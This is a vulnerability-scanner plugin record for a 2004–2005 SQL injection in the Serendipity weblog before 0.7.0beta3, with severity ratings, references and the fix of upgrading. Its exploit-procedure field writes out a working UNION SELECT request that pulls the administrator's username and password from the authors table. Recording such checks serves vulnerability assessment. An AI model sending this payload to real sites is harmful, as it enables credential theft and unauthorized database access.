Plugin ID | 312 |
Plugin name | Serendipity prior 0.7.0beta3 SQL injections |
Plugin filename | Serendipity prior 0.7.0beta3 SQL injections.plugin |
Plugin filesize | 2701 bytes |
Plugin family | CGI |
Plugin created name | Marc Ruef |
Plugin created email | marc.ruef at computec.ch |
Plugin created web | http://www.computec.ch |
Plugin created company | computec.ch |
Plugin created date | 2005/01/05 |
Plugin version | 1.0 |
Plugin protocol | tcp |
Plugin port | 80 |
Plugin procedure exploit | open|send GET /comment.php?serendipity[type]=trackbacks&serendipity[entry_id]=0%20and%200%20union%20select%201,2,3,4,username,password,7,8,9,0,1,2,3%20from%20serendipity_authors%20where%20authorid=1%20/* HTTP/1.0\n\n|sleep|close|pattern_exists HTTP/#.# 200 *0 and 0 union select 1,2,3,4,username,password,7,8,9,0,1,2,3 from serendipity_authors where authorid=1* |
Plugin exploit accuracy | 99 |
Plugin comment | The NASL script is Copyright (C) 2004 Tenable Network Security |
Bug affected | Serendipity prior 0.7.0beta3 |
Bug vulnerability class | SQL Injection |
Bug description | The remote host is running Serendipity, a weblog written in PHP. The remote version of this software is vulnerable to a SQL injection issue due to a failure of the application to properly sanitize user-supplied URI input. An attacker may exploit this flaw to issue arbitrary statements in the remote database, and therefore bypass authorization or even overwrite arbitrary files on the remote system. |
Bug solution | Upgrade to Serendipity 0.7.0beta3 or newer. |
Bug fixing time | Approx. 20 minutes |
Bug exploit availability | Yes |
Bug exploit url | http://www.securityfocus.com/bid/11269/exploit/ |
Bug remote | Yes |
Bug local | Yes |
Bug severity | High |
Bug popularity | 6 |
Bug simplicity | 8 |
Bug impact | 8 |
Bug risk | 8 |
Bug Nessus risk | High |
Bug check tools | Nessus can check this flaw with the plugin 14842 (Serendipity SQL Injections). |
Source SecurityFocus BID | 11269 |
Source Nessus ID | 14842 |
Source Literature | Hacking Exposed: Network Security Secrets & Solutions, Stuart McClure, Joel Scambray and George Kurtz, February 25, 2003, 4th Edition, McGraw-Hill Osborne Media, ISBN 0072227427 |
Source Misc. | http://www.computec.ch |